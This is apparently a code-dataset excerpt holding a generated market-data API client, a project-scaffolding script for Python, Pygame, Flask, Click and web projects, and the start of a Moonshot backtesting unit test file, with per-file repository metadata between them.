# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_vertically_sliced_option_chain_by_strike(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date date:
:param date expiration:
:return: OptionChain
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_vertically_sliced_option_chain_by_strike_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.get_vertically_sliced_option_chain_by_strike_with_http_info(name, **kwargs) # noqa: E501
return data
def get_vertically_sliced_option_chain_by_strike_with_http_info(self, name, **kwargs): # noqa: E501
"""Returns vertical slice of option chain for the given symbol, option type, trading date, expiration, and the strike range # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_vertically_sliced_option_chain_by_strike_with_http_info(name, async=True)
>>> result = thread.get()
:param async bool
:param str name: (required)
:param bool is_call:
:param float from_strike:
:param float to_strike:
:param date date:
:param date expiration:
:return: OptionChain
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'is_call', 'from_strike', 'to_strike', 'date', 'expiration'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_vertically_sliced_option_chain_by_strike" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_vertically_sliced_option_chain_by_strike`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
if 'is_call' in params:
query_params.append(('isCall', params['is_call'])) # noqa: E501
if 'from_strike' in params:
query_params.append(('from_strike', params['from_strike'])) # noqa: E501
if 'to_strike' in params:
query_params.append(('to_strike', params['to_strike'])) # noqa: E501
if 'date' in params:
query_params.append(('date', params['date'])) # noqa: E501
if 'expiration' in params:
query_params.append(('expiration', params['expiration'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/option-chain/{name}/vertical-slice-by-strike', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='OptionChain', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_volatility_skew(self, **kwargs): # noqa: E501
"""Returns volatility skews for the given trading symbol, the expiration and the observation dates # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_volatility_skew(async=True)
>>> result = thread.get()
:param async bool
:param str symbol:
:param list[date] expirations:
:param list[date] date:
:return: list[IVSkew]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_volatility_skew_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_volatility_skew_with_http_info(**kwargs) # noqa: E501
return data
def get_volatility_skew_with_http_info(self, **kwargs): # noqa: E501
"""Returns volatility skews for the given trading symbol, the expiration and the observation dates # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_volatility_skew_with_http_info(async=True)
>>> result = thread.get()
:param async bool
:param str symbol:
:param list[date] expirations:
:param list[date] date:
:return: list[IVSkew]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['symbol', 'expirations', 'date'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_volatility_skew" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'symbol' in params:
query_params.append(('symbol', params['symbol'])) # noqa: E501
if 'expirations' in params:
query_params.append(('expirations', params['expirations'])) # noqa: E501
collection_formats['expirations'] = 'multi' # noqa: E501
if 'date' in params:
query_params.append(('date', params['date'])) # noqa: E501
collection_formats['date'] = 'multi' # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/iv-skew', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[IVSkew]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def search_tickers(self, **kwargs): # noqa: E501
"""Searchs for symbols in the system with an optional query parameter. If query parameter is not used all symbols are returned # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.search_tickers(async=True)
>>> result = thread.get()
:param async bool
:param str query:
:return: list[Ticker]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.search_tickers_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.search_tickers_with_http_info(**kwargs) # noqa: E501
return data
def search_tickers_with_http_info(self, **kwargs): # noqa: E501
"""Searchs for symbols in the system with an optional query parameter. If query parameter is not used all symbols are returned # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.search_tickers_with_http_info(async=True)
>>> result = thread.get()
:param async bool
:param str query:
:return: list[Ticker]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['query'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method search_tickers" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'query' in params:
query_params.append(('query', params['query'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/marketdata/tickers', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Ticker]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 38.868067
| 154
| 0.599875
| 5,291
| 46,253
| 5.006237
| 0.0378
| 0.055572
| 0.030165
| 0.0299
| 0.966136
| 0.95749
| 0.954847
| 0.946429
| 0.944616
| 0.939369
| 0
| 0.017425
| 0.305169
| 46,253
| 1,189
| 155
| 38.900757
| 0.806771
| 0.052645
| 0
| 0.818612
| 1
| 0
| 0.184255
| 0.051435
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.006309
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
5520a5e86c8e364d25e2e44efda4e3d0df12a956
| 16,833
|
py
|
Python
|
tom/buildkit.py
|
arghyagod-coder/tom
|
a7859f85aa6afa84a1f05f2cde6b673f690314b3
|
[
"MIT"
] | 1
|
2021-06-03T16:36:31.000Z
|
2021-06-03T16:36:31.000Z
|
tom/buildkit.py
|
arghyagod-coder/tom
|
a7859f85aa6afa84a1f05f2cde6b673f690314b3
|
[
"MIT"
] | null | null | null |
tom/buildkit.py
|
arghyagod-coder/tom
|
a7859f85aa6afa84a1f05f2cde6b673f690314b3
|
[
"MIT"
] | null | null | null |
import subprocess as sb
import click as cl
import os
import datetime
from licenses import *
currentDateTime = datetime.datetime.now()
date = currentDateTime.date()
year = date.strftime("%Y")
def buildPython(name, uname, ghname, ulic):
pwd = os.getcwd()
os.mkdir(pwd+f'/{name}')
os.chdir((os.getcwd())+'/'+name)
os.mkdir((os.getcwd())+f'/{name}')
os.mkdir((os.getcwd())+f'/tests')
os.system('git init')
with open(f'{name}/main.py', 'w') as f:
f.write(f"""# {name}""")
with open(f'{name}/__init__.py', 'w') as f:
f.write("""__version__ = '0.1.0'""")
with open(f'tests/__init__.py', 'w') as f:
f.write("""""")
with open(f'tests/test_{name}.py', 'w') as f:
f.write("""from lolacli import __version__
def test_version():
assert __version__=='0.1.0'""")
with open('setup.py', 'w') as f:
f.write(f'''from setuptools import find_packages, setup
VERSION = '0.1.0'
with open("README.md") as f:
README = f.read()
setup(
name = "{name}",
version = VERSION,
description = "**Enter project Description here**",
long_description_content_type = "text/markdown",
long_description = README,
url = "https://github.com/{ghname}/{name}",
author = "{uname}",
author_email = "Your email here",
packages = find_packages(),
install_requires = [],
license = '{ulic}',
keywords = ['{name}', "project_{name}" ],
classifiers = []
)
''')
f.close()
with open('README.md', 'w') as f:
f.write(f'''# {name}
## Version: 0.1.0
### Introductiom
### Installation
### Usage
### Dependencies
### Snapshots
### Developer Tools
### Our Team
### Licensing
{ulic.upper()} License
{checkLicense(ulic.lower())}
### Special Notes (optional)
''')
with open('.gitignore', 'w') as f:
f.write('''# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/''')
with open('LICENSE', 'w') as f:
f.write(f'''{checkLicense(ulic.lower())}''')
def buildPygame(name, uname, ghname, ulic):
pwd = os.getcwd()
os.mkdir(pwd+f'/{name}')
os.chdir((os.getcwd())+'/'+name)
os.mkdir((os.getcwd())+f'/data')
os.mkdir((os.getcwd())+f'/static')
os.mkdir((os.getcwd())+f'/static/images')
os.mkdir((os.getcwd())+f'/static/audio')
os.mkdir((os.getcwd())+f'/static/sprites')
os.mkdir((os.getcwd())+f'/static/animated')
os.system('git init')
with open(f'data/main.py', 'w') as f:
f.write("""import pygame, sys
from pygame.locals import *
pygame.init()
DISPLAYSURF = pygame.display.set_mode((400, 300))
pygame.display.set_caption('Hello World!')
while True:
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
sys.exit()
pygame.display.update()
""")
with open(f'data/__init__.py', 'w') as f:
f.write("")
with open('setup.py', 'w') as f:
f.write(f'''from setuptools import find_packages, setup
VERSION = '0.1.0'
with open("README.md") as f:
README = f.read()
setup(
name = "{name}",
version = VERSION,
description = "**Enter project Description here**",
long_description_content_type = "text/markdown",
long_description = README,
url = "https://github.com/{ghname}/{name}",
author = "{uname}",
author_email = "Your email here",
packages = find_packages(),
install_requires = ['pygame',],
license = '{ulic}',
keywords = ['{name}', "project_{name}" ],
classifiers = []
)
''')
f.close()
with open('README.md', 'w') as f:
f.write(f'''# {name}
## Version: 0.1.0
### Introductiom
### Installation
### Player Guide
### Dependencies
- pygame
### Snapshots
### Our Team
### Licensing
{ulic.upper()} License
{checkLicense(ulic.lower())}
### Special Notes (optional)
''')
with open('.gitignore', 'w') as f:
f.write('''# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/''')
with open('LICENSE', 'w') as f:
f.write(f'''{checkLicense(ulic.lower())}''')
def buildFlask(name, uname, ghname, ulic):
pwd = os.getcwd()
os.mkdir(pwd+f'/{name}')
os.chdir((os.getcwd())+'/'+name)
os.mkdir((os.getcwd())+f'/templates')
os.mkdir((os.getcwd())+f'/static')
os.mkdir((os.getcwd())+f'/static/images')
os.mkdir((os.getcwd())+f'/static/styles')
os.mkdir((os.getcwd())+f'/static/scripts')
os.system('git init')
with open(f'app.py', 'w') as f:
f.write("""from flask import Flask, render_template
app = Flask(__name__)
@app.route("/")
def home():
return render_template('index.html')
if __name__=='__main__':
app.run(debug=True, port=8000)
""")
with open(f'templates/index.html', 'w') as f:
f.write(f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{name}</title>
<link rel="stylesheet" href="./css/style.css">
</head>
<body>
<h1>Hello World</h1>
<script src="./js/script.js"> </script>
</body>
</html>""")
f.close()
with open('README.md', 'w') as f:
f.write(f'''# {name}
### Introductiom
### Link
### User Guide
### Snapshots
### Our Team
### Licensing
{ulic.upper()} License
{checkLicense(ulic.lower())}
### Special Notes
''')
with open('.gitignore', 'w') as f:
f.write('''# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/''')
with open('LICENSE', 'w') as f:
f.write(f'''{checkLicense(ulic.lower())}''')
def buildCLICK(name, uname, ghname, ulic):
pwd = os.getcwd()
os.mkdir(pwd+f'/{name}')
os.chdir((os.getcwd())+'/'+name)
os.mkdir((os.getcwd())+f'/{name}')
os.mkdir((os.getcwd())+f'/tests')
os.system('pip3 install poetry')
os.system('git init')
with open(f'{name}/{name}.py', 'w') as f:
f.write(f"""import click
@click.group()
@click.version_option('0.1.0', prog_name='{name}')
def main():
'''Project {name}'''
pass
if __name__=='__main__':
main()
""")
with open(f'{name}/__init__.py', 'w') as f:
f.write("""__version__ = '0.1.0'""")
with open(f'tests/__init__.py', 'w') as f:
f.write("""""")
with open(f'tests/test_{name}.py', 'w') as f:
f.write("""from lolacli import __version__
def test_version():
assert __version__=='0.1.0'""")
f.close()
with open('pyproject.toml', 'w') as f:
f.write(f'''[tool.poetry]
name = "{name}"
version = "0.1.0"
description = "Description here!"
authors = ["{uname} <your email here>"]
license="{ulic.upper()}"
readme="README.md"
homepage= "https://github.com/{ghname}/{name}"
repository = "https://github.com/{ghname}/{name}"
keywords = ["{name}"]
classifiers=[
"License :: OSI Approved :: {ulic.upper()} License",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Operating System :: OS Independent",
]
[tool.poetry.dependencies]
python = "^3.8"
click = "^8.0.1"
[tool.poetry.scripts]
{name} = "{name}.{name}:main"
[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"''')
with open('README.md', 'w') as f:
f.write(f'''# {name}
### Introductiom
### Installation
### User Guide
### Dependencies
- click
### Snapshots
### Our Team
### Licensing
{ulic.upper()} License
{checkLicense(ulic.lower())}
### Special Notes
''')
with open('.gitignore', 'w') as f:
f.write('''# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/''')
with open('LICENSE', 'w') as f:
f.write(f'''{checkLicense(ulic.lower())}''')
def buildWebDev(name, uname, ghname, ulic):
pwd = os.getcwd()
os.mkdir(pwd+f'/{name}')
os.chdir((os.getcwd())+'/'+name)
os.mkdir((os.getcwd())+f'/images')
os.mkdir((os.getcwd())+f'/styles')
os.mkdir((os.getcwd())+f'/scripts')
os.mknod('scripts/script.js')
os.mknod('styles/style.css')
os.system('git init')
with open(f'index.html', 'w') as f:
f.write(f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{name}</title>
<link rel="stylesheet" href="./css/style.css">
</head>
<body>
<h1>Hello World</h1>
<script src="./js/script.js"> </script>
</body>
</html>""")
f.close()
with open('README.md', 'w') as f:
f.write(f'''# {name}
### Introductiom
### Link
### User Guide
### Snapshots
### Our Team
### Licensing
{ulic.upper()} License
{checkLicense(ulic.lower())}
### Special Notes
''')
with open('LICENSE', 'w') as f:
f.write(f'''{checkLicense(ulic.lower())}''')
if __name__=='__main__':
pass
| 18.041801
| 95
| 0.664528
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|
0
| 8
|
9b4a36d88dfd71892e367c36735a99effa38e3e3
| 66,075
|
py
|
Python
|
tests/test_benchmark.py
|
windblood/moonshot
|
d79cf26e7fb5ce3fcb34060771ea4992e19dc46a
|
[
"Apache-2.0"
] | 122
|
2017-09-14T01:17:56.000Z
|
2022-02-25T11:59:04.000Z
|
tests/test_benchmark.py
|
windblood/moonshot
|
d79cf26e7fb5ce3fcb34060771ea4992e19dc46a
|
[
"Apache-2.0"
] | null | null | null |
tests/test_benchmark.py
|
windblood/moonshot
|
d79cf26e7fb5ce3fcb34060771ea4992e19dc46a
|
[
"Apache-2.0"
] | 39
|
2017-10-24T14:36:54.000Z
|
2022-02-20T01:04:03.000Z
|
# Copyright 2018 QuantRocket LLC - All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# To run: python3 -m unittest discover -s tests/ -p test_*.py -t . -v
import os
import unittest
from unittest.mock import patch
import glob
import requests
import pandas as pd
from moonshot import Moonshot
from moonshot.exceptions import MoonshotError, MoonshotParameterError
from quantrocket.exceptions import NoHistoricalData
from moonshot.cache import TMP_DIR
class BenchmarkTestCase(unittest.TestCase):
"""
Test cases for including benchmarks in backtests.
"""
def tearDown(self):
"""
Remove cached files.
"""
for file in glob.glob("{0}/moonshot*.pkl".format(TMP_DIR)):
os.remove(file)
def test_complain_if_no_price_fields_for_benchmark(self):
"""
Tests error handling when there are no suitable price fields for the
benchmark (this would be an unusual error condition because not
having price fields will lead to other issues too).
"""
class BuyAndHold(Moonshot):
"""
A basic test strategy that buys and holds.
"""
CODE = "buy-and-hold"
DB = "sample-stk-1d"
BENCHMARK = "FI12345"
def prices_to_signals(self, prices):
signals = pd.DataFrame(1,
index=prices.loc["Volume"].index,
columns=prices.loc["Volume"].columns)
return signals
def positions_to_gross_returns(self, positions, prices):
return pd.DataFrame(0, index=positions.index, columns=positions.columns)
def mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03"])
fields = ["Volume"]
idx = pd.MultiIndex.from_product([fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI12345": [
# Volume
5000,
16000,
8800
],
"FI23456": [
# Volume
15000,
14000,
28800
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
with self.assertRaises(MoonshotParameterError) as cm:
BuyAndHold().backtest()
self.assertIn("Cannot extract BENCHMARK FI12345 from sample-stk-1d data without one of Close, Open, Bid, Ask, High, Low", repr(cm.exception))
def test_complain_if_benchmark_sid_missing(self):
"""
Tests error handling when a benchmark is specified that is not in the
data.
"""
class BuyBelow10(Moonshot):
"""
A basic test strategy that buys below 10.
"""
CODE = 'buy-below-10'
DB = "sample-stk-1d"
BENCHMARK = 99999
def prices_to_signals(self, prices):
signals = prices.loc["Close"] < 10
return signals.astype(int)
def mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03", "2018-05-04"])
fields = ["Close","Volume"]
idx = pd.MultiIndex.from_product([fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9,
11,
10.50,
9.99,
# Volume
5000,
16000,
8800,
9900
],
"FI23456": [
# Close
9.89,
11,
8.50,
10.50,
# Volume
15000,
14000,
28800,
17000
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
with self.assertRaises(MoonshotError) as cm:
BuyBelow10().backtest()
self.assertIn("BENCHMARK Sid 99999 is not in sample-stk-1d data", repr(cm.exception))
def test_benchmark_eod(self):
"""
Tests that the results DataFrame contains Benchmark prices when a
Benchmark Sid is specified.
"""
class BuyBelow10(Moonshot):
"""
A basic test strategy that buys below 10.
"""
CODE = 'buy-below-10'
BENCHMARK = "FI23456"
def prices_to_signals(self, prices):
signals = prices.loc["Close"] < 10
return signals.astype(int)
def mock_get_prices(*args, **kwargs):
dt_idx = pd.DatetimeIndex(["2018-05-01","2018-05-02","2018-05-03", "2018-05-04"])
fields = ["Close","Volume"]
idx = pd.MultiIndex.from_product([fields, dt_idx], names=["Field", "Date"])
prices = pd.DataFrame(
{
"FI12345": [
# Close
9,
11,
10.50,
9.99,
# Volume
5000,
16000,
8800,
9900
],
"FI23456": [
# Close
9.89,
11,
8.50,
10.50,
# Volume
15000,
14000,
28800,
17000
],
},
index=idx
)
return prices
def mock_download_master_file(f, *args, **kwargs):
master_fields = ["Timezone", "Symbol", "SecType", "Currency", "PriceMagnifier", "Multiplier"]
securities = pd.DataFrame(
{
"FI12345": [
"America/New_York",
"ABC",
"STK",
"USD",
None,
None
],
"FI23456": [
"America/New_York",
"DEF",
"STK",
"USD",
None,
None,
]
},
index=master_fields
)
securities.columns.name = "Sid"
securities.T.to_csv(f, index=True, header=True)
f.seek(0)
with patch("moonshot.strategies.base.get_prices", new=mock_get_prices):
with patch("moonshot.strategies.base.download_master_file", new=mock_download_master_file):
results = BuyBelow10().backtest()
